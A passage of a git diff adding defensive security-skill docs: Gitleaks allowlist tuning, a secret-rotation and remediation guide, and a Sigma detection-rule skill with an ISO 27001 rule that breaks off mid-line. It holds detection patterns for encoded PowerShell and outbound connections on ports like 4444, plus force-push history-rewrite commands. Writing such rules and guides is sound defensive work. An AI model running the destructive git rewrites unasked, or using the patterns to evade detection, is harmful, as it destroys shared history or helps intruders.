+gitleaks detect --config .gitleaks.toml --source test/fixtures/credentials.json + +# Verify secret is still caught in production code +echo 'api_key = "sk_live_actual_key"' > /tmp/test_detection.py +gitleaks detect --config .gitleaks.toml --source /tmp/test_detection.py --no-git +``` + +### 6. Separate Allowlists by Environment + +Use different configurations for different contexts: + +```bash +# Strict config for production code +gitleaks detect --config .gitleaks.strict.toml --source src/ + +# Lenient config for test code +gitleaks detect --config .gitleaks.lenient.toml --source test/ +``` + +### 7. Monitor False Positive Rate + +Track metrics over time: + +```bash +# Total findings +TOTAL=$(gitleaks detect --report-format json 2>/dev/null | jq '. | length') + +# Run with allowlist +AFTER_FILTER=$(gitleaks detect --config .gitleaks.toml --report-format json 2>/dev/null | jq '. | length') + +# Calculate reduction +echo "False positive reduction: $(($TOTAL - $AFTER_FILTER)) / $TOTAL" +``` + +**Target**: < 10% false positive rate for good developer experience. + +### 8. Security Review for New Allowlists + +Require security team approval for: +- New allowlisted paths in `src/` or production code +- New allowlisted commits (verify manually first) +- Changes to rule-specific allowlists +- New stopwords that could mask real secrets + +### 9. Avoid Overly Broad Patterns + +**Bad** (too broad): +```toml +[allowlist] +paths = ['''.*'''] # Disables all detection! +stopwords = ["key", "secret"] # Matches too many real secrets +``` + +**Good** (specific): +```toml +[allowlist] +paths = ['''test/unit/.*\.test\.js$'''] # Specific test directory +stopwords = ["example_key", "test_secret"] # Specific placeholders +``` + +### 10. Escape Special Characters + +When using regex patterns, escape properly: + +```toml +[allowlist] +regexes = [ + '''api\.example\.com''', # Literal dot + '''config\[\'key\'\]''', # Literal brackets and quotes +] +``` + +## Troubleshooting False Positives + +### Issue: Can't Identify Source of False Positive + +```bash +# Run with verbose output +gitleaks detect -v | grep "RuleID" + +# Get detailed finding information +gitleaks detect --report-format json | jq '.[] | {file: .File, line: .StartLine, rule: .RuleID}' + +# View context around detection +gitleaks detect --report-format json | jq -r '.[0] | .File, .StartLine' | xargs -I {} sh -c 'sed -n "{}-5,{}+5p" {}' +``` + +### Issue: Allowlist Not Working + +```bash +# Verify config is loaded +gitleaks detect --config .gitleaks.toml -v 2>&1 | grep "config" + +# Check regex syntax +echo "test_string" | grep -E 'your_regex_pattern' + +# Test path matching +echo "test/fixtures/file.json" | grep -E 'test/fixtures/.*' +``` + +### Issue: Too Many False Positives + +1. **Export findings**: `gitleaks detect --report-format json > findings.json` +2. **Analyze patterns**: `jq -r '.[].File' findings.json | sort | uniq -c | sort -rn` +3. **Group by rule**: `jq -r '.[].RuleID' findings.json | sort | uniq -c | sort -rn` +4. **Create targeted allowlists** based on analysis + +## False Positive vs Real Secret + +When unsure, err on the side of caution: + +| Indicator | False Positive | Real Secret | +|-----------|----------------|-------------| +| Location | Test/docs/examples | Production code | +| Pattern | "example", "test", "mock" | No such indicators | +| Entropy | Low/medium | High | +| Format | Incomplete/truncated | Complete/valid | +| Context | Educational comments | Functional code | +| Git history | Added in test commits | Added furtively | + +**When in doubt**: Treat as real secret and investigate. diff --git a/skills/devsecops/secrets-gitleaks/references/remediation_guide.md b/skills/devsecops/secrets-gitleaks/references/remediation_guide.md new file mode 100644 index 0000000..1828cf1 --- /dev/null +++ b/skills/devsecops/secrets-gitleaks/references/remediation_guide.md @@ -0,0 +1,530 @@ +# Secret Remediation Guide + +Comprehensive procedures for remediating exposed secrets detected by Gitleaks. + +## Table of Contents + +- [Immediate Response](#immediate-response) +- [Remediation Workflow](#remediation-workflow) +- [Git History Cleanup](#git-history-cleanup) +- [Cloud Provider Specific](#cloud-provider-specific) +- [Database Credentials](#database-credentials) +- [API Keys and Tokens](#api-keys-and-tokens) +- [Post-Remediation](#post-remediation) + +## Immediate Response + +When secrets are detected, follow this priority order: + +### 1. Assess Exposure (0-15 minutes) + +**Questions to answer immediately:** +- Is the repository public or private? +- Has the commit been pushed to remote? +- How long has the secret been exposed? +- What systems does this credential access? + +**Actions:** +```bash +# Check if commit is pushed +git log origin/main..HEAD # If output, not yet pushed + +# Check repository visibility +gh repo view --json visibility + +# Check commit age +git log -1 --format="%ar" +``` + +### 2. Rotate Credentials (0-30 minutes) + +**CRITICAL**: Rotate the exposed credential immediately, regardless of exposure duration. + +Priority order: +1. **Production credentials** - Immediate rotation +2. **Payment/financial systems** - Immediate rotation +3. **Customer data access** - Immediate rotation +4. **Development/test credentials** - Rotate within 24 hours + +### 3. Review Access Logs (30-60 minutes) + +Check for unauthorized access: +- Cloud provider audit logs (CloudTrail, Cloud Audit Logs, Activity Log) +- Application logs showing authentication attempts +- Database connection logs +- API usage logs + +### 4. Remove from Code (0-24 hours) + +Remove secret from current code and optionally from git history. + +## Remediation Workflow + +### Step 1: Rotate the Credential + +**Before removing from code**, rotate the credential to prevent race conditions. + +#### Cloud Providers + +**AWS**: +```bash +# Deactivate compromised key +aws iam update-access-key \ + --access-key-id AKIA... \ + --status Inactive \ + --user-name username + +# Create new key +aws iam create-access-key --user-name username + +# Delete old key after updating applications +aws iam delete-access-key \ + --access-key-id AKIA... \ + --user-name username +``` + +**GCP**: +```bash +# Delete service account key +gcloud iam service-accounts keys delete KEY_ID \ + --iam-account=SERVICE_ACCOUNT_EMAIL + +# Create new key +gcloud iam service-accounts keys create new-key.json \ + --iam-account=SERVICE_ACCOUNT_EMAIL +``` + +**Azure**: +```bash +# Regenerate storage account key +az storage account keys renew \ + --account-name ACCOUNT_NAME \ + --key primary + +# List keys to verify +az storage account keys list \ + --account-name ACCOUNT_NAME +``` + +#### API Tokens + +**GitHub**: +1. Navigate to Settings > Developer settings > Personal access tokens +2. Find the compromised token (check "Last used" column) +3. Click "Delete" +4. Generate new token with minimal required scopes + +**Stripe**: +1. Log into Stripe Dashboard +2. Navigate to Developers > API keys +3. Click "Roll" on the compromised key +4. Update all applications with new key + +**Generic API Key**: +1. Access provider's console/dashboard +2. Locate API key management +3. Revoke/delete compromised key +4. Generate new key +5. Update applications +6. Test connectivity + +### Step 2: Remove from Current Code + +Replace hardcoded secrets with environment variables or secret management: + +**Before** (insecure): +```python +API_KEY = "sk_live_51ABC123..." +db_password = "MyP@ssw0rd123" +``` + +**After** (secure): +```python +import os + +API_KEY = os.environ.get("STRIPE_API_KEY") +if not API_KEY: + raise ValueError("STRIPE_API_KEY environment variable not set") + +db_password = os.environ.get("DB_PASSWORD") +``` + +**Using secret management**: +```python +from azure.keyvault.secrets import SecretClient +from azure.identity import DefaultAzureCredential + +credential = DefaultAzureCredential() +client = SecretClient(vault_url="https://myvault.vault.azure.net/", credential=credential) + +db_password = client.get_secret("database-password").value +``` + +### Step 3: Commit the Fix + +```bash +# Add changes +git add . + +# Commit with clear message +git commit -m "refactor: Move API credentials to environment variables + +- Replace hardcoded Stripe API key with environment variable +- Replace database password with AWS Secrets Manager reference +- Add validation for required environment variables + +Addresses: Secret exposure detected by Gitleaks scan" + +# Push +git push origin main +``` + +## Git History Cleanup + +If secrets are in pushed commits, consider removing from git history. + +### Decision Matrix + +| Scenario | Action | Reason | +|----------|--------|--------| +| Public repo, secret exposed | **Mandatory** history rewrite | Secret is public knowledge | +| Private repo, < 24 hours, < 5 collaborators | **Recommended** history rewrite | Minimal disruption | +| Private repo, > 1 week, > 10 collaborators | **Optional** - Rotate only | High coordination cost | +| Production repo with CI/CD | **Coordinate carefully** | May break automation | + +### Method 1: git-filter-repo (Recommended) + +Install: +```bash +pip install git-filter-repo +``` + +Remove specific file from all history: +```bash +# Backup first +git clone --mirror backup-repo.git + +# Remove file +git filter-repo --path config/secrets.yaml --invert-paths + +# Force push +git push origin --force --all +``` + +Remove secrets matching pattern: +```bash +# Use callback for complex filtering +git filter-repo --replace-text <(echo 'regex:sk_live_[a-zA-Z0-9]{24}==>REDACTED') +``` + +### Method 2: BFG Repo-Cleaner + +Download: +```bash +# macOS +brew install bfg + +# Or download JAR from https://rtyley.github.io/bfg-repo-cleaner/ +``` + +Remove specific file: +```bash +# Clone mirror +git clone --mirror repo-mirror.git +cd repo-mirror.git + +# Remove file +bfg --delete-files secrets.env + +# Clean up +git reflog expire --expire=now --all +git gc --prune=now --aggressive + +# Force push +git push +``` + +Remove secrets by pattern: +```bash +# Create replacements.txt +echo "PASSWORD1==>***REMOVED***" > replacements.txt +echo "sk_live_51ABC==>***REMOVED***" >> replacements.txt + +# Run BFG +bfg --replace-text replacements.txt repo-mirror.git +``` + +### Method 3: Interactive Rebase (Small Changes) + +For recent commits not yet widely distributed: + +```bash +# Rebase last N commits +git rebase -i HEAD~5 + +# In editor, mark commits to 'edit' +# When stopped at each commit: +git rm config/secrets.yaml +git commit --amend --no-edit +git rebase --continue + +# Force push +git push --force-with-lease +``` + +### Post-Rewrite Coordination + +After rewriting history: + +1. **Notify team immediately**: +```text +URGENT: Git history rewritten to remove exposed credentials. + +Action required for all developers: +1. Commit/stash any local changes +2. Run: git fetch origin && git reset --hard origin/main +3. Delete and re-clone if issues persist + +Contact security team with questions. +``` + +2. **Update CI/CD**: + - Invalidate old caches + - May need to reconfigure webhooks + - Update any hardcoded commit references + +3. **Update branch protection**: + - May need to temporarily disable + - Re-enable after force push completes + +## Cloud Provider Specific + +### AWS + +**Check for unauthorized access**: +```bash +# List recent API calls for access key +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=Username,AttributeValue=compromised-user \ + --max-results 50 \ + --start-time $(date -u -d '7 days ago' +%Y-%m-%dT%H:%M:%S) +``` + +**Revoke all sessions**: +```bash +# Attach policy to deny all actions +aws iam put-user-policy \ + --user-name compromised-user \ + --policy-name DenyAll \ + --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Deny","Action":"*","Resource":"*"}]}' +``` + +### GCP + +**Check audit logs**: +```bash +gcloud logging read "protoPayload.authenticationInfo.principalEmail=SERVICE_ACCOUNT_EMAIL" \ + --limit 100 \ + --format json +``` + +**Disable service account**: +```bash +gcloud iam service-accounts disable SERVICE_ACCOUNT_EMAIL +``` + +### Azure + +**Review activity logs**: +```bash +az monitor activity-log list \ + --start-time 2024-01-01T00:00:00Z \ + --resource-id /subscriptions/SUBSCRIPTION_ID +``` + +**Revoke access**: +```bash +# Regenerate keys +az storage account keys renew \ + --account-name STORAGE_ACCOUNT \ + --key primary +``` + +## Database Credentials + +### PostgreSQL + +```sql +-- Change password +ALTER USER app_user WITH PASSWORD 'new_secure_password'; + +-- View recent connections +SELECT datname, usename, client_addr, backend_start +FROM pg_stat_activity +WHERE usename = 'app_user' +ORDER BY backend_start DESC; + +-- Kill active connections (if suspicious) +SELECT pg_terminate_backend(pid) +FROM pg_stat_activity +WHERE usename = 'app_user' AND client_addr != 'trusted_ip'; +``` + +### MySQL + +```sql +-- Change password +ALTER USER 'app_user'@'%' IDENTIFIED BY 'new_secure_password'; +FLUSH PRIVILEGES; + +-- View recent connections +SELECT * FROM information_schema.PROCESSLIST +WHERE USER = 'app_user'; + +-- Kill connections +KILL CONNECTION process_id; +``` + +### MongoDB + +```javascript +// Change password +use admin +db.changeUserPassword("app_user", "new_secure_password") + +// View recent operations +db.currentOp({ "active": true }) + +// Kill operation +db.killOp(opid) +``` + +## API Keys and Tokens + +### GitHub + +**Audit unauthorized access**: +```bash +# List recent events for token +gh api /users/{username}/events/public | jq '.[] | {type, repo: .repo.name, created_at}' +``` + +**Revoke all tokens** (if compromised account): +1. Settings > Developer settings > Personal access tokens +2. Select all tokens +3. Click "Delete" + +### Slack + +**Check workspace audit logs**: +1. Go to workspace settings (admin required) +2. Navigate to Logs > Audit Logs +3. Filter by token usage + +**Regenerate token**: +1. Go to api.slack.com/apps +2. Select your app +3. Navigate to OAuth & Permissions +4. Click "Regenerate" on token + +## Post-Remediation + +### 1. Implement Prevention + +**Pre-commit hooks**: +```bash +# Install Gitleaks pre-commit hook +cd /path/to/repo +cat << 'EOF' > .git/hooks/pre-commit +#!/bin/sh +gitleaks protect --verbose --redact --staged +EOF +chmod +x .git/hooks/pre-commit +``` + +**CI/CD checks**: +```yaml +# .github/workflows/secrets-scan.yml +name: Secret Scanning +on: [push, pull_request] +jobs: + scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + with: + fetch-depth: 0 + - uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} +``` + +### 2. Update Secret Management + +Migrate to proper secret management: + +**Environment variables** (minimal): +```bash +# .env (never commit!) +DATABASE_URL=postgresql://user:pass@host:5432/db +API_KEY=sk_live_... + +# .gitignore +.env +.env.local +``` + +**Secret management services**: +- AWS: Secrets Manager, Systems Manager Parameter Store +- GCP: Secret Manager +- Azure: Key Vault +- HashiCorp: Vault +- Kubernetes: Secrets + +### 3. Document Incident + +Create incident report including: +- **Timeline**: When secret was committed, detected, remediated +- **Exposure**: Duration, repository visibility, access scope +- **Impact**: Systems accessed, data at risk, unauthorized activity +- **Response**: Rotation completed, logs reviewed, history cleaned +- **Prevention**: Controls implemented to prevent recurrence + +### 4. Team Training + +Conduct training on: +- Using environment variables and secret management +- Pre-commit hooks and local scanning +- Recognizing secrets in code review +- Incident response procedures + +### 5. Compliance Notifications + +If required by regulations: +- **GDPR**: Notify supervisory authority within 72 hours if personal data at risk +- **PCI-DSS**: Notify card brands and processor if payment data affected +- **SOC2**: Document in compliance report, may trigger audit +- **HIPAA**: Notify covered entities if PHI exposed + +## Prevention Checklist + +- [ ] Credential rotated and old credential deactivated +- [ ] Access logs reviewed for unauthorized activity +- [ ] Secret removed from current code +- [ ] Git history cleaned (if applicable) +- [ ] Team notified of credential change +- [ ] Applications updated with new credential +- [ ] Pre-commit hooks installed +- [ ] CI/CD secret scanning enabled +- [ ] Secret management solution implemented +- [ ] Incident documented +- [ ] Compliance notifications sent (if required) +- [ ] Team training scheduled + +## Emergency Contacts + +Maintain contact list for rapid response: +- **Security Team**: security@company.com +- **DevOps On-Call**: devops-oncall@company.com +- **Cloud Provider Support**: Account-specific +- **Compliance Officer**: compliance@company.com diff --git a/skills/incident-response/.category b/skills/incident-response/.category new file mode 100644 index 0000000..bb40964 --- /dev/null +++ b/skills/incident-response/.category @@ -0,0 +1,5 @@ +# Incident Response Skills + +This directory contains skills for security incident response operations. + +See the main [README.md](../../README.md) for usage and [CONTRIBUTE.md](../../CONTRIBUTE.md) for contribution guidelines. diff --git a/skills/incident-response/detection-sigma/SKILL.md b/skills/incident-response/detection-sigma/SKILL.md new file mode 100644 index 0000000..542ebfe --- /dev/null +++ b/skills/incident-response/detection-sigma/SKILL.md @@ -0,0 +1,505 @@ +--- +name: detection-sigma +description: > + Generic detection rule creation and management using Sigma, the universal SIEM rule format. + Sigma provides vendor-agnostic detection logic for log analysis across multiple SIEM platforms. + Use when: (1) Creating detection rules for security monitoring, (2) Converting rules between + SIEM platforms (Splunk, Elastic, QRadar, Sentinel), (3) Threat hunting with standardized + detection patterns, (4) Building detection-as-code pipelines, (5) Mapping detections to + MITRE ATT&CK tactics, (6) Implementing compliance-based monitoring rules. +version: 0.1.0 +maintainer: SirAppSec +category: incident-response +tags: [sigma, detection, siem, threat-hunting, mitre-attack, detection-engineering, log-analysis] +frameworks: [MITRE-ATT&CK, NIST, ISO27001] +dependencies: + python: ">=3.8" + packages: [pysigma, pysigma-backend-splunk, pysigma-backend-elasticsearch, pyyaml] +references: + - https://github.com/SigmaHQ/sigma + - https://github.com/SigmaHQ/pySigma + - https://sigmahq.io/ +--- + +# Sigma Detection Engineering + +## Overview + +Sigma is to log detection what Snort is to network traffic and YARA is to files - a universal signature format for describing security-relevant log events. This skill helps create, validate, and convert Sigma rules for deployment across multiple SIEM platforms, enabling detection-as-code workflows. + +**Core capabilities**: +- Create detection rules using Sigma format +- Convert rules to 25+ SIEM/EDR backends (Splunk, Elastic, QRadar, Sentinel, etc.) +- Validate rule syntax and logic +- Map detections to MITRE ATT&CK framework +- Build threat hunting queries +- Implement compliance-based monitoring + +## Quick Start + +### Install Dependencies + +```bash +pip install pysigma pysigma-backend-splunk pysigma-backend-elasticsearch pyyaml +``` + +### Create a Basic Sigma Rule + +```yaml +title: Suspicious PowerShell Execution +id: 7d6d30b8-5b91-4b90-a71e-4f5a3f5a3c3f +status: experimental +description: Detects suspicious PowerShell execution with encoded commands +references: + - https://attack.mitre.org/techniques/T1059/001/ +author: Your Name +date: YYYY/MM/DD +modified: YYYY/MM/DD +tags: + - attack.execution + - attack.t1059.001 +logsource: + category: process_creation + product: windows +detection: + selection: + Image|endswith: '\powershell.exe' + CommandLine|contains: + - '-enc' + - '-EncodedCommand' + - 'FromBase64String' + condition: selection +falsepositives: + - Legitimate administrative scripts +level: medium +``` + +### Convert Rule to Target SIEM + +```bash +# Convert to Splunk +python scripts/sigma_convert.py rule.yml --backend splunk + +# Convert to Elasticsearch +python scripts/sigma_convert.py rule.yml --backend elasticsearch + +# Convert to Microsoft Sentinel +python scripts/sigma_convert.py rule.yml --backend sentinel +``` + +## Core Workflows + +### Workflow 1: Detection Rule Development + +Progress: +[ ] 1. Identify detection requirement from threat intelligence or compliance +[ ] 2. Research log sources and field mappings for target environment +[ ] 3. Create Sigma rule using standard template +[ ] 4. Validate rule syntax: `python scripts/sigma_validate.py rule.yml` +[ ] 5. Test rule against sample logs or historical data +[ ] 6. Convert to target SIEM format +[ ] 7. Deploy and tune based on false positive rate +[ ] 8. Document rule metadata and MITRE ATT&CK mapping + +Work through each step systematically. Check off completed items. + +### Workflow 2: Threat Hunting Rule Creation + +For proactive threat hunting based on TTPs: + +1. **Select MITRE ATT&CK Technique** + - Review threat intelligence for relevant TTPs + - Identify technique ID (e.g., T1059.001 - PowerShell) + - See [references/mitre-attack-mapping.md](references/mitre-attack-mapping.md) for common techniques + +2. **Identify Log Sources** + - Determine which logs capture the technique + - Map log source categories (process_creation, network_connection, file_event) + - Verify log source availability in your environment + +3. **Define Detection Logic** + - Create selection criteria matching suspicious patterns + - Add filters to reduce false positives + - Use field modifiers for robust matching (endswith, contains, re) + +4. **Validate and Test** + - Run validation: `python scripts/sigma_validate.py hunting-rule.yml` + - Test against known-good and known-bad samples + - Tune detection logic based on results + +5. **Document and Deploy** + - Add references to threat reports + - Document false positive scenarios + - Convert and deploy to production SIEM + +### Workflow 3: Bulk Rule Conversion + +When migrating between SIEM platforms: + +```bash +# Validate all rules first +python scripts/sigma_validate.py --directory rules/ --report validation-report.json + +# Convert entire rule set +python scripts/sigma_convert.py --directory rules/ --backend splunk --output converted/ + +# Generate deployment report +python scripts/sigma_convert.py --directory rules/ --backend splunk --report conversion-report.md +``` + +Review conversion report for: +- Successfully converted rules +- Rules requiring manual adjustment +- Unsupported field mappings +- Backend-specific limitations + +### Workflow 4: Compliance-Based Detection + +For implementing compliance monitoring (PCI-DSS, NIST, ISO 27001): + +1. **Map Requirements to Detections** + - Identify compliance control requirements + - Determine required log monitoring + - See [references/compliance-mappings.md](references/compliance-mappings.md) + +2. **Create Detection Rules** + - Use compliance rule templates from `assets/compliance-rules/` + - Tag rules with compliance framework (e.g., tags: [pci-dss.10.2.5]) + - Set appropriate severity levels + +3. **Validate Coverage** + - Run: `python scripts/compliance_coverage.py --framework pci-dss` + - Review coverage gaps + - Create additional rules as needed + +4. **Generate Compliance Report** + - Document detection coverage by control + - Include sample queries and expected alerts + - Maintain audit trail for compliance evidence + +## Rule Structure Reference + +### Required Fields + +```yaml +title: Human-readable rule name +id: UUID (generate with: python -c "import uuid; print(uuid.uuid4())") +status: stable|test|experimental|deprecated +description: Detailed description of what this detects +author: Your Name +date: YYYY/MM/DD +modified: YYYY/MM/DD +logsource: + category: process_creation|network_connection|file_event|... + product: windows|linux|macos|azure|aws|... +detection: + selection: + FieldName: value + condition: selection +level: informational|low|medium|high|critical +``` + +### Optional Fields + +```yaml +references: + - https://attack.mitre.org/techniques/T1059/ +tags: + - attack.execution + - attack.t1059.001 +falsepositives: + - Legitimate use cases +fields: + - CommandLine + - User + - ParentImage +``` + +### Detection Conditions + +```yaml +# Simple selection +detection: + selection: + Field: value + condition: selection + +# Multiple conditions (AND) +detection: + selection: + Field1: value1 + Field2: value2 + condition: selection + +# OR conditions +detection: + selection1: + Field: value1 + selection2: + Field: value2 + condition: selection1 or selection2 + +# NOT conditions +detection: + selection: + Field: suspicious_value + filter: + Field: legitimate_value + condition: selection and not filter + +# Complex logic +detection: + selection: + EventID: 4688 + suspicious_cmd: + CommandLine|contains: + - 'powershell' + - 'cmd.exe' + filter_legitimate: + ParentImage|endswith: '\explorer.exe' + condition: selection and suspicious_cmd and not filter_legitimate +``` + +### Field Modifiers + +Common modifiers for flexible matching: + +- `|contains` - Contains substring (case-insensitive) +- `|endswith` - Ends with string +- `|startswith` - Starts with string +- `|re` - Regular expression match +- `|all` - All values must match +- `|base64` - Base64-encoded value matching +- `|base64offset` - Base64 with offset variations + +Example: +```yaml +detection: + selection: + CommandLine|contains|all: + - 'powershell' + - '-enc' + Image|endswith: '\powershell.exe' +``` + +## Security Considerations + +- **Sensitive Data Handling**: Sigma rules may reference sensitive field names or patterns. Store rules in version control with appropriate access controls. Avoid including actual sensitive data in example values. + +- **Access Control**: Detection rules reveal defensive capabilities to adversaries. Implement role-based access for rule repositories. Limit rule modification to authorized detection engineers. + +- **Audit Logging**: Log all rule deployments, modifications, and deletions. Track who deployed which rules to which systems. Maintain change history for compliance auditing. + +- **Compliance**: Sigma rules support compliance monitoring (PCI-DSS 10.2, NIST SP 800-53 AU family, ISO 27001 A.12.4). Document rule-to-control mappings for audit evidence. + +- **Safe Defaults**: Use conservative false positive filtering in production. Start rules at "experimental" status. Test thoroughly in test environment before production deployment. + +## Bundled Resources + +### Scripts + +- `scripts/sigma_convert.py` - Convert Sigma rules to target SIEM backend formats +- `scripts/sigma_validate.py` - Validate Sigma rule syntax and detect common errors +- `scripts/compliance_coverage.py` - Analyze detection coverage for compliance frameworks +- `scripts/generate_rule_template.py` - Generate Sigma rule template with MITRE ATT&CK tags + +### References + +- `references/mitre-attack-mapping.md` - Common MITRE ATT&CK techniques and Sigma detection patterns +- `references/log-source-guide.md` - Log source categories, products, and field mappings +- `references/compliance-mappings.md` - Compliance framework to detection rule mappings +- `references/backend-support.md` - Supported SIEM backends and conversion capabilities +- `references/field-modifiers.md` - Comprehensive guide to Sigma field modifiers and regex patterns + +### Assets + +- `assets/rule-templates/` - Pre-built Sigma rule templates for common attack patterns + - `lateral-movement.yml` - Lateral movement detection template + - `privilege-escalation.yml` - Privilege escalation detection template + - `persistence.yml` - Persistence mechanism detection template + - `credential-access.yml` - Credential dumping detection template + +- `assets/compliance-rules/` - Compliance-focused rule templates + - `pci-dss-monitoring.yml` - PCI-DSS monitoring requirements + - `nist-800-53-audit.yml` - NIST 800-53 audit logging requirements + - `iso27001-logging.yml` - ISO 27001 logging and monitoring + +## Common Detection Patterns + +### Pattern 1: Process Execution Monitoring + +Detect suspicious process creation with command-line analysis: + +```yaml +logsource: + category: process_creation + product: windows +detection: + selection: + Image|endswith: + - '\powershell.exe' + - '\cmd.exe' + CommandLine|contains: + - 'Invoke-' + - 'IEX' + - 'FromBase64String' +``` + +### Pattern 2: Network Connection Monitoring + +Detect suspicious outbound connections: + +```yaml +logsource: + category: network_connection + product: windows +detection: + selection: + Initiated: 'true' + DestinationPort: + - 4444 + - 5555 + - 8080 + filter: + DestinationIp|startswith: + - '10.' + - '172.16.' + - '192.168.' + condition: selection and not filter +``` + +### Pattern 3: File Event Monitoring + +Detect file creation in suspicious locations: + +```yaml +logsource: + category: file_event + product: windows +detection: + selection: + TargetFilename|contains: + - '\Windows\Temp\' + - '\AppData\Roaming\' + TargetFilename|endswith: + - '.exe' + - '.dll' + - '.ps1' +``` + +## Integration Points + +### CI/CD Integration + +Build detection-as-code pipelines: + +```yaml +# .github/workflows/sigma-validation.yml +name: Sigma Rule Validation +on: [push, pull_request] +jobs: + validate: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - name: Validate Sigma Rules + run: | + pip install pysigma + python scripts/sigma_validate.py --directory rules/ + - name: Convert to Production Format + run: | + python scripts/sigma_convert.py --directory rules/ --backend splunk --output converted/ +``` + +### SIEM Deployment + +Automated rule deployment: +- Splunk: Use Splunk REST API or `splunk-sdk` for savedsearches +- Elasticsearch: Convert to EQL and deploy via Kibana API +- Microsoft Sentinel: Convert to KQL and deploy via Azure API +- QRadar: Convert to AQL and deploy via QRadar API + +See [references/backend-support.md](references/backend-support.md) for deployment examples. + +### Threat Intelligence Integration + +Enrich rules with threat intel: +- Tag rules with threat actor TTPs +- Reference threat reports and IOCs +- Map to MITRE ATT&CK techniques +- Track rule effectiveness against known threats + +## Troubleshooting + +### Issue: Conversion Fails for Specific Backend + +**Solution**: Check backend compatibility and field mappings. Some backends have limitations: +- Review `references/backend-support.md` for known limitations +- Use `sigma_convert.py --backend --debug` for detailed error output +- Check if field names are supported in target backend +- Consider custom pipeline transformations for unsupported fields + +### Issue: High False Positive Rate + +**Solution**: Refine detection logic with additional filters: +1. Review false positive patterns +2. Add exclusion filters for legitimate use cases +3. Use more specific field modifiers (e.g., `|endswith` vs `|contains`) +4. Consider time-based correlation for behavioral detection +5. Test with historical data to validate tuning + +### Issue: Rule Not Triggering in Target SIEM + +**Solution**: Verify log source availability and field mappings: +1. Confirm log source is ingested: Check SIEM data sources +2. Verify field names match: Use `sigma_convert.py --show-fields` to see mapping +3. Test converted query directly in SIEM +4. Check for case sensitivity issues in field values +5. Validate time window and search scope in SIEM + +## MITRE ATT&CK Integration + +Tag rules with ATT&CK tactics and techniques: + +```yaml +tags: + - attack.execution # Tactic + - attack.t1059.001 # Technique: PowerShell + - attack.defense_evasion # Additional tactic + - attack.t1027 # Technique: Obfuscated Files +``` + +Common tactic tags: +- `attack.initial_access` +- `attack.execution` +- `attack.persistence` +- `attack.privilege_escalation` +- `attack.defense_evasion` +- `attack.credential_access` +- `attack.discovery` +- `attack.lateral_movement` +- `attack.collection` +- `attack.exfiltration` +- `attack.command_and_control` +- `attack.impact` + +For detailed technique mappings, see [references/mitre-attack-mapping.md](references/mitre-attack-mapping.md). + +## Best Practices + +1. **Start with Community Rules**: Use SigmaHQ repository (3000+ peer-reviewed rules) as foundation +2. **Version Control**: Store rules in Git with meaningful commit messages +3. **Test Before Deploy**: Validate against historical data in test environment +4. **Document Tuning**: Track false positive patterns and tuning decisions +5. **Map to Frameworks**: Tag all rules with MITRE ATT&CK and compliance mappings +6. **Automate Validation**: Use CI/CD to validate rules on every change +7. **Monitor Effectiveness**: Track rule trigger rates and true positive rates +8. **Regular Updates**: Review and update rules based on new threat intelligence + +## References + +- [Sigma Specification](https://github.com/SigmaHQ/sigma-specification) +- [SigmaHQ Rule Repository](https://github.com/SigmaHQ/sigma/tree/master/rules) +- [pySigma Documentation](https://github.com/SigmaHQ/pySigma) +- [Sigma Converter Web Tool](https://sigconverter.io/) +- [MITRE ATT&CK Framework](https://attack.mitre.org/) diff --git a/skills/incident-response/detection-sigma/assets/.gitkeep b/skills/incident-response/detection-sigma/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/incident-response/detection-sigma/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/incident-response/detection-sigma/assets/compliance-rules/iso27001-logging.yml b/skills/incident-response/detection-sigma/assets/compliance-rules/iso27001-logging.yml new file mode 100644 index 0000000..6825a87 --- /dev/null +++ b/skills/incident-response/detection-sigma/assets/compliance-rules/iso27001-logging.yml @@ -0,0 +1,110 @@ +title: ISO 27001 A.12.4 - Event Logging and Monitoring +id: GENERATE-NEW-UUID +status: stable +description: | + Implements ISO/IEC 27001:2013 Annex A.12.4 event logging requirements. + Monitors user activities, exceptions, faults, and security events as + required by A.12.4.1 (Event logging). +references: + - https://www.iso.org/standard/54534.html +author: Your Name +date: 2024/01/20 +modified: 2024/01/20 +tags: + - iso27001.a.12.4.1 # Event logging + - iso27001.a.12.4.3 # Administrator and operator logs + - iso27001.a.9.2.1 # User registration and de-registration +logsource: + category: authentication + product: windows +detection: + selection_user_activity: + EventID: + - 4624 # User logons + - 4625 # Failed logons + - 4634 # Logoffs + selection_admin_activity: + EventID: + - 4624 # Successful logon + TargetUserName|contains: + - 'admin' + - 'Administrator' + - 'root' + selection_account_mgmt: + EventID: + - 4720 # User account created + - 4726 # User account deleted + - 4738 # User account changed + condition: selection_user_activity or selection_admin_activity or selection_account_mgmt +falsepositives: + - None - required logging per ISO 27001 +level: informational +fields: + - UserID + - DateTime + - EventType + - SystemActivity + - DeviceIdentity + - Location + - Outcome + +# ISO 27001:2013 Annex A.12.4 - Logging and Monitoring +# +# A.12.4.1 Event logging +# Event logs shall record: +# - User IDs +# - System activities +# - Dates, times and details of key events (e.g. log-on, log-off) +# - Device identity or location if possible +# - Records of successful and rejected system access attempts +# - Records of successful and rejected data and other resource access attempts +# - Changes to system configuration +# - Use of privileges +# - Use of system utilities and applications +# - Files accessed and the kind of access +# - Network addresses and protocols +# - Alarms raised by the access control system +# - Activation and de-activation of protection systems +# +# A.12.4.2 Protection of log information +# Detection for unauthorized log access/modification: +# logsource: +# category: file_event +# detection: +# selection: +# TargetFilename|contains: '\Logs\' +# EventType: 'Delete' +# tags: +# - iso27001.a.12.4.2 +# +# A.12.4.3 Administrator and operator logs +# System administrator and operator activities shall be logged: +# logsource: +# category: process_creation +# detection: +# selection: +# User|contains: +# - 'admin' +# - 'root' +# tags: +# - iso27001.a.12.4.3 +# +# A.9.2.1 User registration and de-registration +# logsource: +# category: authentication +# detection: +# selection: +# EventID: +# - 4720 # Account created +# - 4726 # Account deleted +# tags: +# - iso27001.a.9.2.1 +# +# A.9.4.1 Information access restriction +# logsource: +# category: file_event +# detection: +# selection: +# TargetFilename|contains: 